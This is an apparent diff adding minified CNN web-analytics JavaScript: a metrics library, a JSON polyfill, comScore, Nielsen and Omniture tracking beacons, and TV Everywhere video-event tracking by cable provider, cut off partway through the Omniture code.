+v!=null&&v.indexOf!=null&&("gt".indexOf(v.substr(0,1))!=-1||v.indexOf("raw:")==0)&&v.indexOf("|")!=-1?inTranslatePluginValues(v):v;vfinal=!israw?inDefaultTransforms(vfinal):vfinal;type=!type?"set":type;nlast=narray[narray.length-1];last=me.mdata;z=narray.length-1;for(i=0;i<z;i++){t1=narray[i];a=are.exec(t1);if(a){var a1=a[1],a2=a[2];if(!last[a1])last[a1]=[];t1=a2;last=last[a1]}if(!last[t1])last[t1]={};last=last[t1]}a=are.exec(nlast);if(!a)if(type==="set")last[nlast]=vfinal;else{if(!(last [...]
+null&&typeof last[nlast].push=="function"))last[nlast]=[];last[nlast].push(vfinal)}else{if(!last[a[1]])last[a[1]]=[];last[a[1]][a[2]]=vfinal;return vfinal}return last[nlast]}arrayExtender.prototype=new Array;function arrayExtender(a){try{this.push.apply(this,a);return this}catch(e){var err=e;return a}}arrayExtender.prototype.forEach=function(){var forEachFunction=function(f,tObj){var l=this.length,i;if(navigator.appVersion.indexOf("MSIE 7.")!=-1){if(l==0)try{l=0;for(var p in this){var pN [...]
+if(!isNaN(parseInt(pName)))l+=1}}catch(e){}}else if(navigator.appVersion.indexOf("MSIE 8.")!=-1)try{var compatMode=_jsmd.plugin.gIreportgetMetaCompatible("IE=EmulateIE7");if(compatMode&&compatMode.indexOf("EmulateIE7")!=-1)if(l==0)try{l=0;for(var p in this){var pName=p+"";if(!isNaN(parseInt(pName)))l+=1}}catch(e){}}catch(e){}if(typeof f=="function")for(i=0;i<l;i++)if(i in this)f.call(tObj,this[i],i,this)};if(navigator.appVersion.indexOf("MSIE 7.")==-1)return Array.prototype.forEach||forE [...]
+else return forEachFunction}();arrayExtender.prototype.contains=Array.prototype.contains||function(obj){var i=this.length;if(navigator.appVersion.indexOf("MSIE 7.")!=-1)if(i==0||!i)try{i=0;for(var p in this){var pName=p+"";i+=1}}catch(e){}while(i--)if(this[i]===obj)return true;return false};arrayExtender.prototype.dosequential=function(o,val){var rval=val,l=this.length;if(navigator.appVersion.indexOf("MSIE 7.")!=-1)if(l==0||!l)try{l=0;for(var p in this){var pName=p+"";l+=1}}catch(e){}for [...]
+"function")rval=this[i].call(o,rval);return rval};Function.prototype.jsmdBind=function(scope){var _function=this;return function(){return _function.apply(scope,arguments)}};var prvLastObject=null;function prvReturnLastObject(){return prvLastObject}function publicInitialize(initObject,mapObject,vendorObject){var io=_w._jsmdDefaultMetadataDictionaryTemplate||prvDefaultMetadataDictionaryTemplate,mo=_w._jsmdDefaultVendorMapTemplate||prvDefaultVendorMapTemplate,vo=_w._jsmdDefaultVendorSpecifi [...]
+prvDefaultVendorSpecificTemplate;io=!initObject?io:initObject;mo=!mapObject?mo:mapObject;vo=!vendorObject?vo:vendorObject;prvLastObject=new CAnalyticsObject(io,mo,vo);return prvLastObject}_w.JSON=window.JSON||null;if(!_w.JSON)_w.JSON={};(function(){function f(n){return n<10?"0"+n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHou [...]
+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf()}}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\u0008":"\\b","\t":"\\t","\n":"\\n","\u000c":"\\f","\r" [...]
+"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+string+'"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function")value=value.toJSON(key);if(typeof rep==="function")value=rep.call(holder,key,value);switch(typeo [...]
+case "number":return isFinite(value)?String(value):"null";case "boolean":case "null":return String(value);case "object":if(!value)return"null";gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;i<length;i+=1)partial[i]=str(i,value)||"null";v=partial.length===0?"[]":gap?"[\n"+gap+partial.join(",\n"+gap)+"\n"+mind+"]":"["+partial.join(",")+"]";gap=mind;return v}if(rep&&typeof rep==="object"){length=rep.length;for(i=0;i<length;i+ [...]
+"string"){k=rep[i];v=str(k,value);if(v)partial.push(quote(k)+(gap?": ":":")+v)}}else for(k in value)if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v)partial.push(quote(k)+(gap?": ":":")+v)}v=partial.length===0?"{}":gap?"{\n"+gap+partial.join(",\n"+gap)+"\n"+mind+"}":"{"+partial.join(",")+"}";gap=mind;return v}}if(typeof JSON.stringify!=="function")JSON.stringify=function(value,replacer,space){var i;gap="";indent="";if(typeof space==="number")for(i=0;i<space;i+=1)inde [...]
+"string")indent=space;rep=replacer;if(replacer&&typeof replacer!=="function"&&(typeof replacer!=="object"||typeof replacer.length!=="number"))throw new Error("JSON.stringify");return str("",{"":value})};if(typeof JSON.parse!=="function")JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==="object")for(k in value)if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined)value[k]=v;else delete value[k] [...]
+key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text))text=text.replace(cx,function(a){return"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)});if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))){j=eval("("+text+")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse");}})();function doImageBeaconG [...]
+parameters){for(p in parameters)url=url.split("${"+p+"}").join(escape(parameters[p]));url=url.split("${random}").join(_jsmd.getRandom());var isSSL=window.location.protocol.toLowerCase().indexOf("https")!=-1;try{var beaconImage=new Image;beaconImage.src=isSSL?url.split("http:").join("https:"):url}catch(e){}}function _doOrAddLoad(f){function _addLoadEvent(func){if(window.addEventListener)window.addEventListener("load",func,false);else if(window.attachEvent)window.attachEvent("onload",func) [...]
+"function"){var old=window.onload;window.onload=function(){old();func()}}else window.onload=func}if(document&&document.getElementById&&document.getElementsByTagName&&document.body&&document.head)try{f()}catch(e){}else _addLoadEvent(f)}return{init:publicInitialize,JSMD:CAnalyticsObject,plugin:pubDefaultMetadataUtilities,last:prvReturnLastObject,getRandom:function(){return Math.floor(Math.random()*1E16)},doImageBeacon:doImageBeaconGeneral,addOnLoad:_doOrAddLoad}}();
+function trackMetrics(action,data,mapObj,loaderFunction){var realaction=action,realdata=data,realmap=mapObj,realload=loaderFunction;if(typeof action=="object"){if(action.type!=null)realaction=action.type;if(action.action!=null)realaction=action.action;if(action.data!=null)realdata=action.data;if(action.map!=null)realmap=action.map;if(action.load!=null)realmap=action.load}if(typeof realdata=="object"){if(realdata.data!=null)realdata=realdata.data;if(realdata.map!=null)realmap=realdata.map [...]
+null)realload=realdata.load}if(typeof realmap=="object"){if(realmap.map!=null)realmap=realmap.map;if(realmap.load!=null)realload=realmap.load}var defaultDynamicNS=_jsmd_default.dynamic;if(defaultDynamicNS!=null&&typeof defaultDynamicNS.load=="function")realload=defaultDynamicNS.load;if(typeof realload=="function")realload.call(this,realdata);var tmpObj=_jsmd.init();tmpObj.trackMetrics(realaction,realdata,realmap)}if(!video_start_time)var video_start_time=0;if(!video_pause)var video_pause [...]
+if(!video_data)var video_data="";function sendVideoProgress(){try{trackMetrics({type:"video-progress",data:_w.video_data})}catch(e){}}var jsmdIsInit=true;var jsmdIsAd=false;var jsmdAdVidID="";var jsmdAdRange="";function sendGameInteraction(event,info){try{trackMetrics({type:event,data:{value:info}})}catch(e){}}function sendVideoClick(info,event){try{trackMetrics({type:event,data:{value:info}})}catch(e){}}
+function sendVideoEvent(data,event,playerid){try{var currVidObj=_w.JSON.parse(data);currVidObj.playerid=playerid;trackMetrics({type:event,data:{video:currVidObj}})}catch(e){}}function sendVideo2Event(data,event,playerid){try{var currVidObj=data;currVidObj.playerid=playerid;trackMetrics({type:event,data:{video:currVidObj}})}catch(e){}}function sendAudioEvent(data,event){try{var currAudioObj=_w.JSON.parse(data);trackMetrics("audio-start",currAudioObj.headline,"adbp-audio")}catch(e){}}
+function sendNewsPulse(data){try{trackMetrics({type:"dynamic-newsPulseOmniCall",data:{newspulse:{query:data}}})}catch(e){}}function sendHTML5Event(data,event){if(data.contentType=="audio")trackMetrics("audio-start",data.headline,"adbp-audio");else{data.metas={branding:"ireport"};try{trackMetrics({type:event,data:{video:data}})}catch(e){}}}function sendOpenStoryPerspective(data){try{trackMetrics({type:"ireport-openstory",data:{openstory:data}})}catch(e){}}
+function sendComscoreVideoMetrixBeacon(videoId,contentFlag,c4overrride){_jsmd.doImageBeacon("http://b.scorecardresearch.com/p?c1=${c1}&c2=${c2}&c3=${c3}&c4=${c4}&c5=${c5}",{c1:"1",c2:"3005117",c3:getSiteSpecificSettings(7),c4:c4overrride?c4overrride:getSiteSpecificSettings(8),c5:contentFlag==1?"020000":"010000"})}
+function sendNielsenVideoCensusBeacon(config,state,videoId,duration){var url="http://secure-${sfcode}.imrworldwide.com/cgi-bin/m?ci=${clientid}&c6=${prod},${vcid}&cc=1&tl=${state}-${videoId}&rnd=${random}",nVC=!config?null:config["video-census"];if(duration=="live")url="http://secure-${sfcode}.imrworldwide.com/cgi-bin/m?ci=${clientid}&c6=${prod},${vcid}&cc=1&tl=${state}-${videoId}&rnd=${random}&cg=live";if(!nVC)return;switch(state){case "start":nVC.state="dav0";nVC.videoId=videoId;_jsmd. [...]
+nVC);break;case "complete":nVC.state="dav2";nVC.videoId=videoId;_jsmd.doImageBeacon(url,nVC);break}}
+function getSiteSpecificSettings(type,section){var hostName=window.location.hostname;var setting;var sites={ireportdev:["cnnireport-adbp-dev","cnn ireport","cnnireport","metrics.cnn.com","smetrics.cnn.com","us-702210","c01","00001","3002212"],ireport:["cnnireport-adbp","cnn ireport","cnnireport","metrics.cnn.com","smetrics.cnn.com","us-702210","c01","00001","3002212"],cnnintl:["cnn-adbp-intl","cnn international","cnn","metrics.cnn.com","smetrics.cnn.com","us-100120","b01","00002","858727 [...]
+"cnn international","cnn","metrics.cnn.com","smetrics.cnn.com","us-100120","b01","00002","8587278"],cnndev:["cnn-adbp-domestic-dev","cnn domestic","cnn","metrics.cnn.com","smetrics.cnn.com","us-100120","b01","00001","8587204"],cnn:["cnn-adbp-domestic","cnn domestic","cnn","metrics.cnn.com","smetrics.cnn.com","us-100120","b01","00001","8587204"]};var c4={val1:["cnn homepage","8587211","8587278"],val2:["crime","8587220"],val3:["us","8587228"],val4:["world","8587235"],val5:["entertainment", [...]
+val6:["politics","8587248"],val7:["health","8587254"],val8:["tech","8587261"],val9:["living","8587266"],val10:["opinion","8587272"]};if(section&§ion!=""){var x=0;for(x in c4)if(c4[x][0]==section){setting=c4[x][1];if(section=="cnn homepage")if(hostName.indexOf("edition.cnn.com")!=-1)setting=c4[x][2];else if(hostName.indexOf("jcmsdev8.cnn.com")!=-1||hostName.indexOf("jcmsref.cnn.com")!=-1||hostName.indexOf("cnnpreview.cnn.com")!=-1||hostName.indexOf("ref.cnn.com")!=-1||hostName.indexOf [...]
+-1){var port=window.location.port;if(port.indexOf("94")!=-1||hostName.indexOf("edition")!=-1)setting=c4[x][2]}break}}else if(hostName.indexOf("ireportqa.cnn.com")!=-1)setting=sites.ireportdev[type];else if(hostName.indexOf("jcmsdev8.cnn.com")!=-1||hostName.indexOf("jcmsref.cnn.com")!=-1||hostName.indexOf("cnnpreview.cnn.com")!=-1||hostName.indexOf("ref.cnn.com")!=-1||hostName.indexOf("preview.cnn.com")!=-1||hostName.indexOf("dev.cnn.com")!=-1||hostName.indexOf("stage.cnngo.com")!=-1||hos [...]
+-1){var port=window.location.port;if(port.indexOf("94")!=-1||hostName.indexOf("edition")!=-1||hostName.indexOf("cnnespanol")!=-1||hostName.indexOf("stage.cnngo.com")!=-1||hostName.indexOf("travel.cnngo.com")!=-1)setting=sites.cnnintldev[type];else setting=sites.cnndev[type]}else if(hostName.indexOf("qai.cnn.com")!=-1)setting=sites.cnndev[type];else if(hostName.indexOf("cnn.staging.perfectmarket.com")!=-1||hostName.indexOf("cnn.staging2.perfectmarket.com")!=-1)setting=sites.cnndev[type];e [...]
+-1)setting=sites.ireport[type];else if(hostName.indexOf("edition.cnn.com")!=-1||hostName.indexOf("cnnespanol.cnn.com")!=-1||hostName.indexOf("backstory.blogs.cnn.com")!=-1||hostName.indexOf("inthefield.blogs.cnn.com")!=-1||hostName.indexOf("securityfiles.blogs.cnn.com")!=-1||hostName.indexOf("thecnnfreedomproject.blogs.cnn.com")!=-1||hostName.indexOf("ukelection.blogs.cnn.com")!=-1||hostName.indexOf("amanpour.blogs.cnn.com")!=-1||hostName.indexOf("screeningroom.blogs.cnn.com")!=-1||hostN [...]
+-1||hostName.indexOf("newsstream.blogs.cnn.com")!=-1||hostName.indexOf("prism.blogs.cnn.com")!=-1||hostName.indexOf("thebrief.blogs.cnn.com")!=-1||hostName.indexOf("insidethemiddleeast.blogs.cnn.com")!=-1||hostName.indexOf("connecttheworld.blogs.cnn.com")!=-1||hostName.indexOf("business.blogs.cnn.com")!=-1||hostName.indexOf("questmeansbusiness.blogs.cnn.com")!=-1||hostName.indexOf("goalmouth.blogs.cnn.com")!=-1||hostName.indexOf("olympics.blogs.cnn.com")!=-1||hostName.indexOf("worldsport [...]
+-1||hostName.indexOf("bodareal.blogs.cnn.com")!=-1||hostName.indexOf("travel.cnn.com")!=-1)setting=sites.cnnintl[type];else if(hostName.indexOf("cnn.com")!=-1)setting=sites.cnn[type];return setting}
+function TVE_VideoEvent(_data,_event){var isJSON=false;var vidObj;var dataObj={};try{vidObj=_w.JSON.parse(_data);isJSON=true}catch(e){isJSON=false}if(!isJSON)vidObj=_data;try{if(vidObj.headline)dataObj.title=vidObj.headline;if(vidObj.id)dataObj.id=vidObj.id;if(vidObj.trt)dataObj.trt=vidObj.trt;if(vidObj.clickbackUrl)dataObj.url=vidObj.clickbackUrl;if(vidObj.grossLength)dataObj.grossLength=vidObj.grossLength;if(vidObj.franchise)dataObj.franchise=vidObj.franchise;if(vidObj.tveMode)dataObj. [...]
+if(vidObj.contentId)dataObj.contentId=vidObj.contentId;if(vidObj.airdate)dataObj.airdate=vidObj.airdate;if(vidObj.dayssince)dataObj.dayssince=vidObj.dayssince;if(vidObj.ad)dataObj.ad=vidObj.ad;if(vidObj.seasonNumber)dataObj.seasonNumber=vidObj.seasonNumber;if(vidObj.episodeNumber)dataObj.episodeNumber=vidObj.episodeNumber;if(vidObj.lastAirDate)dataObj.lastAirDate=vidObj.lastAirDate;if(vidObj.sPageName)dataObj.sPageName=vidObj.sPageName;if(vidObj.omnitureVideoName)dataObj.omnitureVideoNam [...]
+if(vidObj.omnitureFranchise)dataObj.omnitureFranchise=vidObj.omnitureFranchise;if(vidObj.franchiseId)dataObj.franchiseId=vidObj.franchiseId;if(vidObj.isLive)dataObj.isLive=vidObj.isLive}catch(e){}try{var action=vidObj.tveMode;if(_event==="video-complete");else if(_event==="video-progress")action="tve-cnn_video-progress";else if(_event==="video-pause");else if(_event==="video-start")action="tve-cnn_video-start";trackMetrics({type:action,data:dataObj})}catch(e){}}_jsmd.JSMD.prototype.tveMS [...]
+_jsmd.JSMD.prototype.tveRSIDList={Unauthorized:"tvenotauthcnnlive",verizon:{global:"tveverizonglobal",tve_network:"tveverizoncnnlive",hln_network:"tveverizonhln"},comcast:{global:"tvecomcastglobal",tve_network:"tvecomcastcnnlive",hln_network:"tvecomcasthln"},adobe:{global:"tveadobeglobaldev",tve_network:"tveadobebranddev",hln_network:"tveadobebranddev"},dish:{global:"tvedishglobal",tve_network:"tvedishcnnlive",hln_network:"tvedishhln"},twc:{global:"tvetwcglobal",tve_network:"tvetwccnnliv [...]
+att:{global:"tveattglobal",tve_network:"tveattcnnlive",hln_network:"tveatthln"},charter:{global:"tvecharterglobal",tve_network:"tvechartercnnlive",hln_network:"tvecharterhln"},cox:{global:"tvecoxglobal",tve_network:"tvecoxcnnlive",hln_network:"tvecoxhln"},dtv:{global:"tvedirecttvglobal",tve_network:"tvedirecttvcnnlive",hln_network:"tvedirecttvhln"},google:"cnngoogletvcnnlive",suddenlink:{global:"tvesuddenlinkglobal",tve_network:"tvesuddenlinkcnnlive",hln_network:"tvesuddenlinkhln"},cable [...]
+tve_network:"tvecablevisioncnnlive",hln_network:"tvecablevisionhln"}};_jsmd.JSMD.prototype.tveRSID=window.location.host==="www.cnn.com"||window.location.host==="us.cnn.com"?"tveglobal,tvecnnlive,tvenotauth":"tveglobaldev,tvecnnlivedev,tvenotauthdev";_jsmd.JSMD.prototype.sTVE_MSO=function(_MSO){var MSO=_MSO;MSO=MSO.toLowerCase();this.tveMSO=MSO};
+_jsmd.JSMD.prototype.sTVE_RSID=function(_category){var globalRSID="tveglobal";var brandRSID="tvecnnlive";var networkRSID="tve"+this.tveMSO+"cnnlive";if(_category=="hln"){var brandRSID="tvehln";var networkRSID="tve"+this.tveMSO+"hln"}if(this.tveMSO=="dtv")networkRSID=networkRSID.replace("dtv","directtv");var devStng=window.location.host==="www.cnn.com"||window.location.host==="us.cnn.com"?"":"dev";if(this.tveMSO!="Unauthorized")this.tveRSID=globalRSID+devStng+","+brandRSID+devStng+","+net [...]
+devStng};_jsmd.JSMD.prototype.TVE={video_progress:"0",userID:"Unspecified UserId",isAdPlayTimeSet:true,prevTotalPlayTime:0,videoFranchise:"",videoTitle:"",lastPlayHeadTime:0,nonC3C4adNum:0,allAdIntervlNum:0,isAdStart:false,adDuration:0,totalAdDurations:0,event22cal:0,prevAdEvent22:0,adIntervalsCount:0,progressMarker:0,pageName:"",brand:"",host:"",channel:"",vidID:"",lastAirDate:"",dayssince:"",mode:"",videoFranchise:"",fullEpisode:"",playerLocation:"",liveStreamName:"",authState:"authent [...]
+function trackAuthenticationStart(_trackingData){try{var MSO=_trackingData[0];MSO=MSO.toLowerCase();jsmd.sTVE_MSO(MSO)}catch(e){}}function trackAuthenticationComplete(_trackingData){try{var MSO=_trackingData[1];MSO=MSO.toLowerCase();jsmd.sTVE_MSO(MSO);var userID=_trackingData[2];jsmd.TVE.userID=userID}catch(e){}}function trackAlreadyLoggedInPage(_trackingData){try{var MSO=_trackingData[1];MSO=MSO.toLowerCase();jsmd.sTVE_MSO(MSO);var userID=_trackingData[2];jsmd.TVE.userID=userID}catch(e){}}
+function trackNotLoggedInPage(){}
+var cnnTVEOmniTimeParting=new function(){this.weekDays=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"];this.initDate=new Date;this.getDate=function(){var funcTime=(new Date).getTime();var localTime=this.initDate.getTime();return new Date(cnnCurrTime.getTime()+(funcTime-localTime))};this.getDayPart=function(){return this.weekDays[this.getDate().getDay()]};this.getWeekPart=function(){return this.getDayPart()==="Sat"||this.getDayPart()==="Sun"?"Weekend":"Weekday"};this.getMinute=function(){var [...]
+parseInt(this.getDate().getMinutes()/15)*15;return cnnOmniMint===0?"00":cnnOmniMint};this.getHour=function(){var hour=this.getDate().getHours();return hour<10?"0"+hour:hour};this.getTime=function(){return this.getHour()+":"+this.getMinute()};this.getTimeParting=function(){return this.getTime()+"|"+this.getDayPart()+"|"+this.getWeekPart()}};
+function trackComscoreVideoMetrixBeacon(config,videoId,contentFlag) {
+ var configVals =(!config?null:config["video-metrix"]);
+ if(!configVals) {return;}
+ _jsmd.doImageBeacon("http://b.scorecardresearch.com/p?c1=${c1}&c2=${c2}&c3=${c3}&c4=${c4}&c5=${c5}&rn=${random}", {
+ c1:configVals.c1, // Video metrix tag identifier
+ c2:configVals.c2, // Turner Specific Tag
+ c3:configVals.c3, // Report-suite numeric identifier for comparisons to Omniture
+ c4:configVals.c4, // NCAA Specific Tag
+ c5:(contentFlag==1?'020000':'010000')
+ }
+ );
+}
+/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
+var s_code='',s_objectID;function s_gi(un,pg,ss){var c="s.version='H.24.1';s.an=s_an;s.logDebug=function(m){var s=this,tcf=new Function('var e;try{console.log(\"'+s.rep(s.rep(m,\"\\n\",\"\\\\n\"),\""
++"\\\"\",\"\\\\\\\"\")+'\");}catch(e){}');tcf()};s.cls=function(x,c){var i,y='';if(!c)c=this.an;for(i=0;i<x.length;i++){n=x.substring(i,i+1);if(c.indexOf(n)>=0)y+=n}return y};s.fl=function(x,l){retur"
++"n x?(''+x).substring(0,l):x};s.co=function(o){if(!o)return o;var n=new Object,x;for(x in o)if(x.indexOf('select')<0&&x.indexOf('filter')<0)n[x]=o[x];return n};s.num=function(x){x=''+x;for(var p=0;p"
++"<x.length;p++)if(('0123456789').indexOf(x.substring(p,p+1))<0)return 0;return 1};s.rep=s_rep;s.sp=s_sp;s.jn=s_jn;s.ape=function(x){var s=this,h='0123456789ABCDEF',i,c=s.charSet,n,l,e,y='';c=c?c.toU"
++"pperCase():'';if(x){x=''+x;if(s.em==3)x=encodeURIComponent(x);else if(c=='AUTO'&&('').charCodeAt){for(i=0;i<x.length;i++){c=x.substring(i,i+1);n=x.charCodeAt(i);if(n>127){l=0;e='';while(n||l<4){e=h"
++".substring(n%16,n%16+1)+e;n=(n-n%16)/16;l++}y+='%u'+e}else if(c=='+')y+='%2B';else y+=escape(c)}x=y}else x=escape(''+x);x=s.rep(x,'+','%2B');if(c&&c!='AUTO'&&s.em==1&&x.indexOf('%u')<0&&x.indexOf('"
++"%U')<0){i=x.indexOf('%');while(i>=0){i++;if(h.substring(8).indexOf(x.substring(i,i+1).toUpperCase())>=0)return x.substring(0,i)+'u00'+x.substring(i);i=x.indexOf('%',i)}}}return x};s.epa=function(x)"
++"{var s=this;if(x){x=s.rep(''+x,'+',' ');return s.em==3?decodeURIComponent(x):unescape(x)}return x};s.pt=function(x,d,f,a){var s=this,t=x,z=0,y,r;while(t){y=t.indexOf(d);y=y<0?t.length:y;t=t.substri"
++"ng(0,y);r=s[f](t,a);if(r)return r;z+=y+d.length;t=x.substring(z,x.length);t=z<x.length?t:''}return ''};s.isf=function(t,a){var c=a.indexOf(':');if(c>=0)a=a.substring(0,c);c=a.indexOf('=');if(c>=0)a"
++"=a.substring(0,c);if(t.substring(0,2)=='s_')t=t.substring(2);return (t!=''&&t==a)};s.fsf=function(t,a){var s=this;if(s.pt(a,',','isf',t))s.fsg+=(s.fsg!=''?',':'')+t;return 0};s.fs=function(x,f){var"
++" s=this;s.fsg='';s.pt(x,',','fsf',f);return s.fsg};s.si=function(){var s=this,i,k,v,c=s_gi+'var s=s_gi(\"'+s.oun+'\");s.sa(\"'+s.un+'\");';for(i=0;i<s.va_g.length;i++){k=s.va_g[i];v=s[k];if(v!=unde"
++"fined){if(typeof(v)!='number')c+='s.'+k+'=\"'+s_fe(v)+'\";';else c+='s.'+k+'='+v+';'}}c+=\"s.lnk=s.eo=s.linkName=s.linkType=s.wd.s_objectID=s.ppu=s.pe=s.pev1=s.pev2=s.pev3='';\";return c};s.c_d='';"
++"s.c_gdf=function(t,a){var s=this;if(!s.num(t))return 1;return 0};s.c_gd=function(){var s=this,d=s.wd.location.hostname,n=s.fpCookieDomainPeriods,p;if(!n)n=s.cookieDomainPeriods;if(d&&!s.c_d){n=n?pa"
++"rseInt(n):2;n=n>2?n:2;p=d.lastIndexOf('.');if(p>=0){while(p>=0&&n>1){p=d.lastIndexOf('.',p-1);n--}s.c_d=p>0&&s.pt(d,'.','c_gdf',0)?d.substring(p):d}}return s.c_d};s.c_r=function(k){var s=this;k=s.a"
++"pe(k);var c=' '+s.d.cookie,i=c.indexOf(' '+k+'='),e=i<0?i:c.indexOf(';',i),v=i<0?'':s.epa(c.substring(i+2+k.length,e<0?c.length:e));return v!='[[B]]'?v:''};s.c_w=function(k,v,e){var s=this,d=s.c_gd"
++"(),l=s.cookieLifetime,t;v=''+v;l=l?(''+l).toUpperCase():'';if(e&&l!='SESSION'&&l!='NONE'){t=(v!=''?parseInt(l?l:0):-60);if(t){e=new Date;e.setTime(e.getTime()+(t*1000))}}if(k&&l!='NONE'){s.d.cookie"
++"=k+'='+s.ape(v!=''?v:'[[B]]')+'; path=/;'+(e&&l!='SESSION'?' expires='+e.toGMTString()+';':'')+(d?' domain='+d+';':'');return s.c_r(k)==v}return 0};s.eh=function(o,e,r,f){var s=this,b='s_'+e+'_'+s."
++"_in,n=-1,l,i,x;if(!s.ehl)s.ehl=new Array;l=s.ehl;for(i=0;i<l.length&&n<0;i++){if(l[i].o==o&&l[i].e==e)n=i}if(n<0){n=i;l[n]=new Object}x=l[n];x.o=o;x.e=e;f=r?x.b:f;if(r||f){x.b=r?0:o[e];x.o[e]=f}if("
++"x.b){x.o[b]=x.b;return b}return 0};s.cet=function(f,a,t,o,b){var s=this,r,tcf;if(s.apv>=5&&(!s.isopera||s.apv>=7)){tcf=new Function('s','f','a','t','var e,r;try{r=s[f](a)}catch(e){r=s[t](e)}return "
++"r');r=tcf(s,f,a,t)}else{if(s.ismac&&s.u.indexOf('MSIE 4')>=0)r=s[b](a);else{s.eh(s.wd,'onerror',0,o);r=s[f](a);s.eh(s.wd,'onerror',1)}}return r};s.gtfset=function(e){var s=this;return s.tfs};s.gtfs"
++"oe=new Function('e','var s=s_c_il['+s._in+'],c;s.eh(window,\"onerror\",1);s.etfs=1;c=s.t();if(c)s.d.write(c);s.etfs=0;return true');s.gtfsfb=function(a){return window};s.gtfsf=function(w){var s=thi"
++"s,p=w.parent,l=w.location;s.tfs=w;if(p&&p.location!=l&&p.location.host==l.host){s.tfs=p;return s.gtfsf(s.tfs)}return s.tfs};s.gtfs=function(){var s=this;if(!s.tfs){s.tfs=s.wd;if(!s.etfs)s.tfs=s.cet"
++"('gtfsf',s.tfs,'gtfset',s.gtfsoe,'gtfsfb')}return s.tfs};s.mrq=function(u){var s=this,l=s.rl[u],n,r;s.rl[u]=0;if(l)for(n=0;n<l.length;n++){r=l[n];s.mr(0,0,r.r,r.t,r.u)}};s.flushBufferedRequests=fun"
++"ction(){};s.mr=function(sess,q,rs,ta,u){var s=this,dc=s.dc,t1=s.trackingServer,t2=s.trackingServerSecure,tb=s.trackingServerBase,p='.sc',ns=s.visitorNamespace,un=s.cls(u?u:(ns?ns:s.fun)),r=new Obje"
++"ct,l,imn='s_i_'+(un),im,b,e;if(!rs){if(t1){if(t2&&s.ssl)t1=t2}else{if(!tb)tb='2o7.net';if(dc)dc=(''+dc).toLowerCase();else dc='d1';if(tb=='2o7.net'){if(dc=='d1')dc='112';else if(dc=='d2')dc='122';p"
++"=''}t1=un+'.'+dc+'.'+p+tb}rs='http'+(s.ssl?'s':'')+'://'+t1+'/b/ss/'+s.un+'/'+(s.mobile?'5.1':'1')+'/'+s.version+(s.tcn?'T':'')+'/'+sess+'?AQB=1&ndh=1'+(q?q:'')+'&AQE=1';if(s.isie&&!s.ismac)rs=s.fl"
++"(rs,2047)}if(s.d.images&&s.apv>=3&&(!s.isopera||s.apv>=7)&&(s.ns6<0||s.apv>=6.1)){if(!s.rc)s.rc=new Object;if(!s.rc[un]){s.rc[un]=1;if(!s.rl)s.rl=new Object;s.rl[un]=new Array;setTimeout('if(window"
++".s_c_il)window.s_c_il['+s._in+'].mrq(\"'+un+'\")',750)}else{l=s.rl[un];if(l){r.t=ta;r.u=un;r.r=rs;l[l.length]=r;return ''}imn+='_'+s.rc[un];s.rc[un]++}im=s.wd[imn];if(!im)im=s.wd[imn]=new Image;im."
++"s_l=0;im.onload=new Function('e','this.s_l=1;var wd=window,s;if(wd.s_c_il){s=wd.s_c_il['+s._in+'];s.mrq(\"'+un+'\");s.nrs--;if(!s.nrs)s.m_m(\"rr\")}');if(!s.nrs){s.nrs=1;s.m_m('rs')}else s.nrs++;if"
++"(s.debugTracking){var d='AppMeasurement Debug: '+rs,dl=s.sp(rs,'&'),dln;for(dln=0;dln<dl.length;dln++)d+=\"\\n\\t\"+s.epa(dl[dln]);s.logDebug(d)}im.src=rs;if((!ta||ta=='_self'||ta=='_top'||(s.wd.na"
++"me&&ta==s.wd.name))&&rs.indexOf('&pe=')>=0){b=e=new Date;while(!im.s_l&&e.getTime()-b.getTime()<500)e=new Date}return ''}return '<im'+'g sr'+'c=\"'+rs+'\" width=1 height=1 border=0 alt=\"\">'};s.gg"
++"=function(v){var s=this;if(!s.wd['s_'+v])s.wd['s_'+v]='';return s.wd['s_'+v]};s.glf=function(t,a){if(t.substring(0,2)=='s_')t=t.substring(2);var s=this,v=s.gg(t);if(v)s[t]=v};s.gl=function(v){var s"
++"=this;if(s.pg)s.pt(v,',','glf',0)};s.rf=function(x){var s=this,y,i,j,h,p,l=0,q,a,b='',c='',t;if(x&&x.length>255){y=''+x;i=y.indexOf('?');if(i>0){q=y.substring(i+1);y=y.substring(0,i);h=y.toLowerCas"
